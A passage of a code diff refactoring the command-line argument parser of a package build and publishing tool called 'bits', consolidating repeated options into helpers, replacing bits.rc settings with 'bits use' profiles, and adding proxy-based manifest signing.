const=True, default=False, action=_WarnAliasAction, help="Always use system packages when compatible.") deps_system.add_argument("--no-system", dest="noSystem", nargs="?", const="*", default=None, metavar="PACKAGES", help="Never use system packages for PACKAGES, even if compatible.") @@ -985,12 +974,12 @@ def doParseArgs(): help=("Check whether all system requirements of %(metavar)s are satisfied. " "May be specified multiple times. " "Optional when --runner is used.")) - doctor_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Resolve requirements as if on the specified architecture. When used with " - "--docker, use a Docker image for the specified architecture. Default is " - "the current system architecture, which is '%(default)s'.")) - doctor_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_architecture(doctor_parser, + help=("Resolve requirements as if on the specified architecture. When used with " + "--docker, use a Docker image for the specified architecture. Default is " + "the current system architecture, which is '%(default)s'.")) + add_defaults(doctor_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") doctor_parser.add_argument("--disable", dest="disable", default=[], metavar="PACKAGE", action="append", help=("Assume we're not building %(metavar)s and all its (unique) dependencies. " "You can specify this option multiple times or separate multiple arguments " @@ -999,7 +988,8 @@ def doParseArgs(): help="KEY=VALUE binding to add to the build environment. May be specified multiple times.") doctor_system = doctor_parser.add_mutually_exclusive_group() - doctor_system.add_argument("--always-prefer-system", dest="preferSystem", action="store_true", + doctor_system.add_argument("--prefer-system", "--always-prefer-system", dest="preferSystem", + nargs=0, const=True, default=False, action=_WarnAliasAction, help="Always use system packages when compatible.") doctor_system.add_argument("--no-system", dest="noSystem", nargs="?", const="*", default=None, metavar="PACKAGES", help="Never use system packages for the provided, command separated, PACKAGES, even if compatible.") @@ -1044,14 +1034,15 @@ def doParseArgs(): _add_s3_connection_opts(doctor_remote) doctor_dirs = doctor_parser.add_argument_group(title="Customise bits directories") - doctor_dirs.add_argument("-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help=("Change to the specified directory before doing anything. " - "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) - doctor_dirs.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, # TODO: previous default was "workDir". - help=("The toplevel directory under which builds should be done and build results " - "should be installed. Default '%(default)s'.")) - doctor_dirs.add_argument("-c", "--config", "--config-dir", dest="configDir", default=os.environ.get("BITS_REPO_DIR","."), - help="The directory containing build recipes. Default '%(default)s'.") + add_chdir(doctor_dirs, + help=("Change to the specified directory before doing anything. " + "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) + add_work_dir(doctor_dirs, + help=("The toplevel directory under which builds should be done and build results " + "should be installed. Default '%(default)s'.")) + add_config_dir(doctor_dirs, + help="The directory containing build recipes. Default '%(default)s'.") + add_search_path(doctor_dirs) # Mode flags — apply to --runner, --check-store, and future modes doctor_parser.add_argument( @@ -1090,7 +1081,7 @@ def doParseArgs(): "--cvmfs-repos", dest="cvmfsRepos", metavar="PATH", action="append", default=[], help=("CVMFS repository path to check (e.g. /cvmfs/alice.cern.ch). " "May be specified multiple times. " - "Can also be set as 'cvmfs_repos' (comma-separated) in bits.rc."), + "Can also be set as $BITS_CVMFS_REPOS (comma-separated)."), ) doctor_runner.add_argument( "--min-disk", dest="minDisk", type=float, default=10.0, metavar="GIB", @@ -1107,11 +1098,11 @@ def doParseArgs(): ) # Options for the brew subcommand - brew_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Generate the Brewfile for the specified architecture. Only recipes whose " - "prefer_system matches this architecture are included. Default '%(default)s'.")) - brew_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_architecture(brew_parser, + help=("Generate the Brewfile for the specified architecture. Only recipes whose " + "prefer_system matches this architecture are included. Default '%(default)s'.")) + add_defaults(brew_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") brew_parser.add_argument("-o", "--output", dest="output", metavar="FILE", default=None, help=("Write the Brewfile to %(metavar)s. Use '-' for stdout. " "Default: /macos/Brewfile (next to the recipes, " @@ -1119,21 +1110,21 @@ def doParseArgs(): brew_parser.add_argument("--check", dest="check", action="store_true", default=False, help=("Do not write; exit non-zero if FILE is missing or differs from what " "would be generated (for CI / pre-commit).")) - brew_parser.add_argument("-c", "--config", "--config-dir", dest="configDir", default=os.environ.get("BITS_REPO_DIR", "."), - help="The directory containing build recipes. Default '%(default)s'.") - brew_parser.add_argument("-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help=("Change to the specified directory before doing anything. " - "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) + add_config_dir(brew_parser, + help="The directory containing build recipes. Default '%(default)s'.") + add_chdir(brew_parser, + help=("Change to the specified directory before doing anything. " + "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) # Options for the init subcommand init_parser.add_argument("pkgname", nargs="?", default="", metavar="PACKAGE", help="Package to clone locally. One of the packages in CONFIGDIR.") - init_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Parse defaults using the specified architecture. Default is " - "the current system architecture, which is '%(default)s'.")) + add_architecture(init_parser, + help=("Parse defaults using the specified architecture. Default is " + "the current system architecture, which is '%(default)s'.")) - init_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_defaults(init_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") init_parser.add_argument("-z", "--devel-prefix", dest="develPrefix", default=".", help=("Directory under which to clone the repository of build recipes. " "See also: -c/--config-dir. Default '%(default)s'.")) @@ -1146,93 +1137,77 @@ def doParseArgs(): "repository's main branch.")) init_dirs = init_parser.add_argument_group(title="Customise bits directories") - init_dirs.add_argument("-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help=("Change to the specified directory before doing anything. " - "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) - init_dirs.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, - help=("The toplevel directory under which builds should be done and " - "build results should be installed. Default '%(default)s'.")) - init_dirs.add_argument("-c", "--config-dir", "--config", dest="configDir", default="%(prefix)salidist", - help=("The directory where build recipes will be placed. '%%(prefix)s' will " - "be replaced with 'DEVELPREFIX/'. Default '%(default)s'.")) + add_chdir(init_dirs, + help=("Change to the specified directory before doing anything. " + "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) + add_work_dir(init_dirs, + help=("The toplevel directory under which builds should be done and " + "build results should be installed. Default '%(default)s'.")) + add_config_dir(init_dirs, default="%(prefix)salidist", + help=("The directory where build recipes will be placed. '%%(prefix)s' will " + "be replaced with 'DEVELPREFIX/'. Default '%(default)s'.")) init_dirs.add_argument("--reference-sources", dest="referenceSources", metavar="MIRRORDIR", default="%(workDir)s/MIRROR", help=("The directory where reference git repositories will be cloned. " "'%%(workDir)s' will be substituted by WORKDIR. Default '%(default)s'.")) - # Options for creating / updating bits.rc (config mode: no PACKAGE given) + # Options recorded as a `bits use` profile (config mode: no PACKAGE given) init_cfg = init_parser.add_argument_group( - title="Persistent configuration (bits.rc)", - description="These options write settings to bits.rc so you do not need to repeat them " - "on every 'bits build' invocation. When no PACKAGE is given, 'bits init' " - "writes the supplied options to bits.rc and exits.") + title="Persistent configuration (bits use)", + description="With no PACKAGE, 'bits init' records the supplied options as a " + "'bits use' profile (./.bitsuse or a ~/.bits/use record) so you do not " + "repeat them on every build, then exits. --architecture goes to [common], " + "the rest to [build]. organisation/providers have no build flag — set " + "$BITS_ORGANISATION / $BITS_PROVIDERS for those.") init_cfg.add_argument("--providers", dest="providers", default=None, metavar="URL", - help="URL of the bits-providers repository (written as 'providers' in bits.rc). " - "Equivalent to the BITS_PROVIDERS environment variable.") + help="URL of the bits-providers repository. Has no build-time flag; " + "set the BITS_PROVIDERS environment variable instead.") init_cfg.add_argument("--remote-store", dest="initRemoteStore", default=None, metavar="URL", - help="Binary store to fetch pre-built tarballs from (written as 'remote_store' " - "in bits.rc). Accepts the same URL formats as 'bits build --remote-store'.") + help="Binary store to fetch pre-built tarballs from (saved as " + "'--remote-store' in the [build] profile).") init_cfg.add_argument("--write-store", dest="initWriteStore", default=None, metavar="URL", - help="Binary store to upload newly-built tarballs to (written as 'write_store' " - "in bits.rc). Accepts the same URL formats as 'bits build --write-store'.") + help="Binary store to upload newly-built tarballs to (saved as " + "'--write-store' in the [build] profile).") init_cfg.add_argument("--organisation", dest="organisation", default=None, metavar="NAME", - help="Organisation name selecting the registry/provider 'home' repo, also " - "stored under the 'organisation' key in bits.rc. Defaults to the " - "BITS_ORGANISATION environment variable (set by the aliBuild wrapper).") - init_cfg.add_argument("--rc-file", dest="rcFile", default="bits.rc", metavar="FILE", - help="Path of the bits.rc file to create or update. Default '%(default)s'.") - init_cfg.add_argument("--append", dest="appendRc", action="store_true", default=False, - help="Merge the new settings into an existing bits.rc rather than " - "overwriting it. Without this flag a fresh file is written.") - - # Options for the version subcommand - version_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Display the specified architecture next to the version number. Default is " - "the current system architecture, which is '%(default)s'.")) + help="Organisation selecting the registry/provider 'home' repo. Has no " + "build-time flag; set the BITS_ORGANISATION environment variable " + "instead (the aliBuild wrapper sets it).") + + # version takes no options; the architecture is auto-detected for display. # Options for the publish command publish_parser.add_argument("package", metavar="PACKAGE", nargs="?", default=None, - help="Name of the package to publish. With --view, optional: names the " - "release's top package to pick its build_id when the build area " + help="Name of the package to publish. With --release-view, optional: names " + "the release's top package to pick its build_id when the build area " "holds more than one.") publish_parser.add_argument("version", metavar="VERSION", nargs="?", default=None, help="Version (and optional revision) to publish. Defaults to the latest build.") - publish_parser.add_argument("--view", dest="publishView", metavar="NAME", default=None, + publish_parser.add_argument("--release-view", "--view", dest="publishView", metavar="NAME", + default=None, action=_WarnAliasAction, help="Instead of a package, publish the merged VIEW for a release to " "/Views/NAME-//. The build_id is read " "from the packages' .meta.json, not given here.") publish_parser.add_argument("--cvmfs-target", dest="cvmfsTarget", required=False, metavar="PATH", - help="Absolute path the package will occupy on CVMFS (e.g. /cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9). With --view, the CVMFS root the Views/ tree lives under.") + help="Absolute path the package will occupy on CVMFS (e.g. /cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9). With --release-view, the CVMFS root the Views/ tree lives under.") publish_parser.add_argument("--module-target", dest="moduleTarget", metavar="PATH", default=None, help="CVMFS path of the separate modules tree. When given (prepub path), " "the package's etc/modulefiles are tar'd and published as an " "independent job here, since modulefiles live in a different tree " "(module_dir) from the payload — so they are installed even with " "--no-relocate.") - # --spool is required for the legacy rsync-to-spool path; omit it when using --prepub-url. - publish_parser.add_argument("--spool", dest="spool", default=None, metavar="[USER@HOST:]PATH", - help=("Ingestion spool root. Either a local directory or a remote rsync " - "target (user@host:/path). Required unless --prepub-url is given.")) - publish_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="WORKDIR", - help="bits work directory containing the installed packages. Default: %(default)s.") - publish_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help="Target architecture. Default: %(default)s.") + add_work_dir(publish_parser, + help="bits work directory containing the installed packages. Default: %(default)s.") + add_architecture(publish_parser, + help="Target architecture. Default: %(default)s.") publish_parser.add_argument("--scratch-dir", dest="scratchDir", default=None, metavar="DIR", help="Directory for the temporary CVMFS working copy. Defaults to a system temp dir.") - publish_parser.add_argument("--rsync-opts", dest="rsyncOpts", default=None, metavar="OPTS", - help="Extra options passed verbatim to rsync (e.g. '-e \"ssh -i key\"'). Legacy spool path only.") publish_parser.add_argument("--no-relocate", dest="noRelocate", action="store_true", default=False, help=("Skip the relocation step. Use this when the package was built " "directly at its final CVMFS path (--cvmfs-prefix on bits build), " "so all embedded paths are already correct.")) - publish_parser.add_argument("--to", dest="publishTo", default=None, - choices=["s3", "cvmfs", "both"], - help=("Where to publish: 's3' (upload to the write store for reuse), " - "'cvmfs' (via --spool/--prepub-url), or 'both'. Default: 'cvmfs' " - "when --cvmfs-target is given (backward compatible), else 's3'.")) - publish_parser.add_argument("--write-store", dest="writeStore", default="", metavar="STORE", - help=("S3 write store for '--to s3' (e.g. b3:// or s3://). " - "Falls back to WRITE_STORE / BITS_WRITE_STORE in the environment.")) + # `bits publish PACKAGE` is CVMFS-only (Phase 3.4). The single-package S3-store + # write moved to `bits store upload`; the bulk `--from-manifest` S3 upload below + # is unchanged. `--to`/`--write-store` were removed with the single-package s3 path. publish_parser.add_argument("--from-manifest", dest="fromManifest", nargs="?", const="latest", default=None, metavar="MANIFEST", help=("Bulk-upload every package in a build manifest to the S3 store. " @@ -1240,11 +1215,10 @@ def doParseArgs(): "'bits publish' uploads the latest manifest. Optionally give a " "manifest file path; 'latest' (default) uses the newest under " "WORKDIR/MANIFESTS. Use --store to pick the target.")) - publish_parser.add_argument("--store", dest="publishStore", metavar="URL", - default="https://s3.cern.ch/lcgapp-bits-testing", - help=("S3 store URL/bucket for --from-manifest. Accepts an https URL " - "(https:///), b3://, or s3://. " - "Default: %(default)s")) + add_remote_store(publish_parser, dest="publishStore", + help=("S3 store URL/bucket for --from-manifest. Accepts an https URL " + "(https:///), b3://, or s3://. " + "Default: %(default)s")) publish_parser.add_argument("--certify", dest="certify", action="store_true", default=False, help=("After a successful upload, open a merge request in the manifests repo " "adding this build's manifest under manifests//. CI validates the " @@ -1275,12 +1249,12 @@ def doParseArgs(): # cvmfs-prepub direct-upload path (replaces the spool + bits-ingest + bits-publisher flow). _prepub = publish_parser.add_argument_group( "cvmfs-prepub direct upload", - "Upload the package directly to a running cvmfs-prepub service over HTTPS, " - "bypassing the rsync-to-spool pipeline. Requires cvmfs-prepub ≥ 0.1.0.", + "Upload the package directly to a running cvmfs-prepub service over HTTPS. " + "Requires cvmfs-prepub ≥ 0.1.0.", ) _prepub.add_argument("--prepub-url", dest="prepubUrl", default=None, metavar="URL", help=("Base URL of the cvmfs-prepub API (no trailing slash), e.g. " - "https://prepub.example.org:8080. When set, --spool is not required.")) + "https://prepub.example.org:8080. Required for CVMFS publish.")) _prepub.add_argument("--prepub-token", dest="prepubToken", default=None, metavar="TOKEN", help=("Bearer token for the cvmfs-prepub API. If omitted the value of the " "PREPUB_API_TOKEN environment variable is used.")) @@ -1316,8 +1290,20 @@ def doParseArgs(): "is scanned recursively for *.json. Default: WORKDIR/MANIFESTS.")) certify_parser.add_argument("-o", "--out", dest="out", metavar="FILE", required=True, help="Path to write the merged common manifest (its .sig is written alongside).") - certify_parser.add_argument("--key", dest="key", metavar="PEM", required=True, - help="Ed25519 private key (PEM) to sign the common manifest with.") + certify_parser.add_argument("--key", dest="key", metavar="PEM", required=False, + help=("Ed25519 private key (PEM) to sign the common manifest with. " + "Required unless --sign-via-proxy is given.")) + certify_parser.add_argument("--sign-via-proxy", dest="signViaProxy", + action="store_true", default=False, + help=("Sign via the security-proxy instead of a local --key. " + "Endpoint from --sign-proxy-url or BITS_SIGN_PROXY_URL; " + "gate token from BITS_SIGN_PROXY_TOKEN (never on the " + "command line).")) + certify_parser.add_argument("--sign-proxy-url", dest="signProxyUrl", metavar="URL", + default=None, + help=("security-proxy sign route, e.g. " + "http://host:port/sign/bits. Falls back to " + "BITS_SIGN_PROXY_URL.")) certify_parser.add_argument("--group", dest="group", metavar="GROUP", default=None, help=("Tag entries that lack a group with GROUP, so the consumer trust filter " "(--trust-groups) can scope reuse. Use 'common' for the shared base layer.")) @@ -1351,17 +1337,16 @@ def doParseArgs(): "fail closed once it is past (offline anti-replay). Default: no expiry.")) certify_parser.add_argument("--source-commit", dest="sourceCommit", metavar="SHA", default=None, help="Record the certified manifests-repo commit SHA (default: $CI_COMMIT_SHA).") - certify_parser.add_argument("--store", dest="certifyStore", metavar="URL", - default="https://s3.cern.ch/lcgapp-bits-testing", - help=("S3 store URL/bucket to validate hashes against. Accepts https, " - "b3://, or s3://. Default: %(default)s")) + add_remote_store(certify_parser, dest="certifyStore", + help=("S3 store URL/bucket to validate hashes against. Accepts https, " + "b3://, or s3://. Default: %(default)s")) certify_parser.add_argument("--no-store-check", dest="noStoreCheck", action="store_true", default=False, help=("Skip validating each hash against the store before signing. " "Only for offline dry merges; a real certification must verify the store.")) - certify_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="WORKDIR", - help="bits work directory (source of MANIFESTS when no MANIFEST is given). Default: %(default)s.") - certify_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help="Architecture for store-path resolution. Default: %(default)s.") + add_work_dir(certify_parser, + help="bits work directory (source of MANIFESTS when no MANIFEST is given). Default: %(default)s.") + add_architecture(certify_parser, + help="Architecture for store-path resolution. Default: %(default)s.") # Options for the compliance subcommand compliance_parser.add_argument("packages", metavar="PACKAGE", nargs="*", default=[], @@ -1371,28 +1356,27 @@ def doParseArgs(): "is audited. Typically the group's meta-package(s), e.g. 'externals " "generators'. Without %(metavar)s, one recipe directory is scanned " "(--recipes, default the current directory).")) - compliance_parser.add_argument("-c", "--config-dir", "--config", dest="configDir", - default=os.environ.get("BITS_REPO_DIR", "."), - help="The directory containing build recipes (group mode). Default '%(default)s'.") - compliance_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Resolve the closure as if on %(metavar)s (group mode). Default is the " - "current system architecture, '%(default)s'.")) - compliance_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh (group mode).") + add_config_dir(compliance_parser, + help="The directory containing build recipes (group mode). Default '%(default)s'.") + add_search_path(compliance_parser) + add_architecture(compliance_parser, + help=("Resolve the closure as if on %(metavar)s (group mode). Default is the " + "current system architecture, '%(default)s'.")) + add_defaults(compliance_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh (group mode).") compliance_parser.add_argument("--disable", dest="disable", default=[], metavar="PACKAGE", action="append", help=("Assume we're not building %(metavar)s and all its (unique) dependencies " "(group mode). Repeat or comma-separate.")) compliance_parser.add_argument("--recipes", dest="recipesDir", metavar="DIR", default=None, help=("Recipe repository to audit (a directory of *.sh recipes, " "e.g. an lcg.bits checkout). Default: the current directory.")) - compliance_parser.add_argument("--store", dest="complianceStore", metavar="URL", - default="https://s3.cern.ch/lcgapp-bits-testing", - help=("S3 store to audit against the recipe flags. Accepts https, " - "b3://, or s3://. Default: %(default)s")) + add_remote_store(compliance_parser, dest="complianceStore", + help=("S3 store to audit against the recipe flags. Accepts https, " + "b3://, or s3://. Default: %(default)s")) compliance_parser.add_argument("--no-store-check", dest="noStoreCheck", action="store_true", default=False, help="Audit the recipes only; skip the store walk and the public-access probe.") - compliance_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="WORKDIR", - help="bits work directory (scratch for the store client). Default: %(default)s.") + add_work_dir(compliance_parser, + help="bits work directory (scratch for the store client). Default: %(default)s.") compliance_parser.add_argument("--enforce", dest="enforce", action="store_true", default=False, help=("ADMIN: remove non-compliant packages from the store — delete their " "TARS objects, rev-index markers and SOURCES archives, rewrite the " @@ -1406,53 +1390,14 @@ def doParseArgs(): "architectures' common manifests after the purge. Without it the next " "CI certification heals them (removed objects are dropped as missing).")) - # Options for the gc subcommand - gc_parser.add_argument("--trust-manifest", dest="trustManifest", required=True, metavar="PATH", - help="Signed common manifest whose hashes are the GC roots. Must verify.") - gc_parser.add_argument("--store", dest="gcStore", metavar="URL", - default="https://s3.cern.ch/lcgapp-bits-testing", - help="S3 store URL/bucket to sweep. Default: %(default)s") - gc_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help="Architecture store tree to sweep. Default: %(default)s.") - gc_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="WORKDIR", - help="bits work directory (for the S3 client). Default: %(default)s.") - gc_parser.add_argument("--grace-days", dest="graceDays", type=float, default=7.0, metavar="DAYS", - help=("Never sweep an object younger than DAYS, so artifacts from an in-flight " - "build not yet in any signed manifest are not raced away. Default: %(default)s.")) - gc_parser.add_argument("--allow-empty", dest="allowEmpty", action="store_true", default=False, - help="Permit sweeping when the verified manifest has zero roots (dangerous).") - gc_parser.add_argument("-n", "--dry-run", dest="dryRun", action="store_true", default=False, - help="Report what would be swept without deleting anything.") - - # Options for the store-stats subcommand - store_stats_parser.add_argument("--store", dest="storeStatsStore", metavar="URL", - default="https://s3.cern.ch/lcgapp-bits-testing", - help=("S3 store URL/bucket to summarise. Accepts https, b3://, " - "or s3://. Default: %(default)s")) - store_stats_parser.add_argument("--manifests", dest="manifests", metavar="PATH", nargs="*", default=None, - help=("Build-manifest JSON files/directories that attribute hashes to a " - "build (manifest). Default: WORKDIR/MANIFESTS.")) - store_stats_parser.add_argument("--trust-manifest", dest="trustManifest", metavar="PATH", default=None, - help=("Comma-separated signed common manifests; their verified 'sources' " - "mark which builds are signed. Optional (unset ⇒ all unsigned).")) - store_stats_parser.add_argument("--tars-prefix", dest="tarsPrefix", metavar="PREFIX", default="TARS/", - help="Store root prefix under which /store/... lives. Default: %(default)s") - store_stats_parser.add_argument("-o", "--out", dest="out", metavar="FILE", default="store.json", - help="Path to write the store document. Default: %(default)s") - store_stats_parser.add_argument("--monitor-url", dest="monitorUrl", metavar="URL", default=None, - help="Also POST Prometheus gauges here (falls back to $METRICS_URL).") - store_stats_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="WORKDIR", - help="bits work directory (S3 client + default MANIFESTS). Default: %(default)s.") - store_stats_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help="Architecture for store-path resolution. Default: %(default)s.") + # gc / store-stats options moved to the bitsStore tool (Phase 3.4: + # `bits store gc` / `bits store stats`). # Options for the cleanup subcommand - cleanup_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, - metavar="WORKDIR", - help="Persistent bits work directory to clean. Default: %(default)s.") - cleanup_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", - default=detectedArch, - help="Architecture sub-directory to scan. Default: %(default)s.") + add_work_dir(cleanup_parser, + help="Persistent bits work directory to clean. Default: %(default)s.") + add_architecture(cleanup_parser, + help="Architecture sub-directory to scan. Default: %(default)s.") cleanup_parser.add_argument("--max-age", dest="maxAgeDays", type=float, default=7.0, metavar="DAYS", help=("Evict packages whose sentinel has not been touched in more than " "DAYS days. Default: %(default)s. Set to 0 to disable age-based " @@ -1477,11 +1422,11 @@ def doParseArgs(): cleanup_parser.add_argument("--keep-builds", dest="keepBuilds", type=int, default=2, metavar="N", help="With --retain: keep the newest %(metavar)s build manifests per " "architecture. Default %(default)s.") - cleanup_parser.add_argument("--store", dest="retainStore", metavar="URL", default=None, - help=("With --retain: remote store to reconstruct the signed common " - "manifests from, one per architecture found on disk (plus 'shared') — " - "same derivation as bits build's signed reuse. http(s) and b3:///s3:// " - "forms accepted.")) + add_remote_store(cleanup_parser, dest="retainStore", default=None, + help=("With --retain: remote store to reconstruct the signed common " + "manifests from, one per architecture found on disk (plus 'shared') — " + "same derivation as bits build's signed reuse. http(s) and b3:///s3:// " + "forms accepted.")) cleanup_parser.add_argument("--trust-manifest", dest="trustManifests", metavar="PATH|URL", action="append", default=[], help=("With --retain: explicit signed common manifest(s) in addition to (or " @@ -1509,11 +1454,9 @@ def doParseArgs(): "(e.g. /cvmfs/alice.cern.ch). " "Searched before --work-dir."), ) - verify_parser.add_argument( - "-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="DIR", - help=("Local bits work directory containing the TARS/ store. " - "Default '%(default)s'."), - ) + add_work_dir(verify_parser, + help=("Local bits work directory containing the TARS/ store. " + "Default '%(default)s'.")) verify_parser.add_argument( "--no-providers", dest="noProviders", action="store_true", default=False, help="Skip verification of provider checkout commits.", @@ -1528,30 +1471,19 @@ def doParseArgs(): "pkgname", metavar="PACKAGE", nargs="+", help="One or more packages to resolve (including all dependencies).", ) - status_parser.add_argument( - "--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.", - ) - status_parser.add_argument( - "-a", "--architecture", dest="architecture", metavar="ARCH", - default=detectedArch, - help=("Target architecture. Default is the current system architecture, " - "which is '%(default)s'."), - ) - status_parser.add_argument( - "-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, metavar="DIR", - help=("The bits work directory to inspect. Default '%(default)s'."), - ) - status_parser.add_argument( - "-c", "--config", "--config-dir", dest="configDir", - default=os.environ.get("BITS_REPO_DIR", "."), - help="The directory containing build recipes. Default '%(default)s'.", - ) - status_parser.add_argument( - "-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help=("Change to the specified directory before doing anything. " - "Default '%(default)s'."), - ) + add_defaults(status_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_architecture(status_parser, + help=("Target architecture. Default is the current system architecture, " + "which is '%(default)s'.")) + add_work_dir(status_parser, + help="The bits work directory to inspect. Default '%(default)s'.") + add_config_dir(status_parser, + help="The directory containing build recipes. Default '%(default)s'.") + add_search_path(status_parser) + add_chdir(status_parser, + help=("Change to the specified directory before doing anything. " + "Default '%(default)s'.")) status_parser.add_argument( "--reference-sources", dest="referenceSources", metavar="MIRRORDIR", default="%(workDir)s/MIRROR", @@ -1591,7 +1523,7 @@ def doParseArgs(): ) status_parser.add_argument( "--no-remote-store", dest="no_remote_store", action="store_true", default=False, - help="Disable any remote store (even if set in bits.rc).", + help="Disable any remote store (even if a default is configured).", ) status_parser.add_argument( "--check-store", dest="checkStore", action="store_true", default=False, @@ -1647,89 +1579,51 @@ def doParseArgs(): "--prefix", dest="prefix", metavar="ROOT", default="", help="Fallback CVMFS root used only when the loaded defaults declare no " "system.prefix (for recipe sets that cannot declare their own).") - cvmfs_path_parser.add_argument( - "--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") - cvmfs_path_parser.add_argument( - "-a", "--architecture", dest="architecture", metavar="ARCH", - default=detectedArch, - help="Target architecture used to load the defaults. Default '%(default)s'.") - cvmfs_path_parser.add_argument( - "-c", "--config", "--config-dir", dest="configDir", - default=os.environ.get("BITS_REPO_DIR", "."), - help="The directory containing build recipes. Default '%(default)s'.") - cvmfs_path_parser.add_argument( - "-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help="Change to the specified directory before doing anything. " - "Default '%(default)s'.") + add_defaults(cvmfs_path_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_architecture(cvmfs_path_parser, + help="Target architecture used to load the defaults. Default '%(default)s'.") + add_config_dir(cvmfs_path_parser, + help="The directory containing build recipes. Default '%(default)s'.") + add_search_path(cvmfs_path_parser) + add_chdir(cvmfs_path_parser, + help="Change to the specified directory before doing anything. " + "Default '%(default)s'.") cvmfs_path_parser.add_argument( "--disable", dest="disable", metavar="PACKAGE", default=[], action="append", help="Disable the given package(s) when loading defaults. May be repeated.") - # Apply bits.rc values as default overrides so that persistent settings written - # by "bits init" (config mode) take effect on every subsequent invocation. - # CLI flags still win: set_defaults only fills gaps not covered by the user. - _rc_early = _read_bits_rc() - _rc_defaults: dict = {} - _RC_KEY_TO_DEST = [ - # (bits.rc key, argparse dest) - ("work_dir", "workDir"), - ("architecture", "architecture"), - ("defaults", "defaults"), - ("config_dir", "configDir"), - ("reference_sources", "referenceSources"), - ("remote_store", "remoteStore"), - ("write_store", "writeStore"), - ("organisation", "organisation"), - # provider_policy is handled separately in finaliseArgs (needs parsing), - # but listing it here causes the raw string to be set as a default so - # the CLI flag still wins via normal argparse precedence. - ("provider_policy", "providerPolicy"), - # prerequisites_url: community-specific URL shown when compiler/git absent. - ("prerequisites_url", "prerequisitesUrl"), - ] - for _rc_key, _dest in _RC_KEY_TO_DEST: - if _rc_early.get(_rc_key): - _rc_defaults[_dest] = _rc_early[_rc_key] - # organisation may also arrive via the environment (the aliBuild wrapper - # exports BITS_ORGANISATION). Honour it when bits.rc doesn't set it, so the - # registry/provider "home" is selected for build/etc., not just init. An - # explicit --organisation on the CLI still wins via normal argparse order. - if not _rc_defaults.get("organisation") and os.environ.get("BITS_ORGANISATION"): - _rc_defaults["organisation"] = os.environ["BITS_ORGANISATION"] - # bits.rc `search_path` seeds BITS_PATH (the recipe search order read by - # getConfigPaths). Required so that building a single package whose recipe lives - # in a sub-repo — e.g. `bits build ROOT` where ROOT is in ./lcg.bits — finds it, - # not only the primary config_dir. Comma-separated relative names resolve to - # /.bits; an explicit BITS_PATH environment variable wins. - if _rc_early.get("search_path") and not os.environ.get("BITS_PATH"): - os.environ["BITS_PATH"] = str(_rc_early["search_path"]).strip() - if _rc_defaults: - # set_defaults on the *parent* parser is overridden by each subparser's own - # argument-level defaults (add_argument(..., default=...)). We must call - # set_defaults on every subparser individually so that bits.rc values win - # over hardcoded argument defaults while still losing to explicit CLI flags. - _legacy_rc_parsers = [build_parser, clean_parser, cleanup_parser, deps_parser, - doctor_parser, init_parser, verify_parser, status_parser] - for _sp in _legacy_rc_parsers: - _sp.set_defaults(**_rc_defaults) - # Every OTHER subcommand honours bits.rc too, but only for options it - # actually declares: previously publish/certify/gc/store-stats/compliance - # ignored a configured work_dir/architecture entirely (build honoured it, - # the publish pipeline didn't — surprising), while 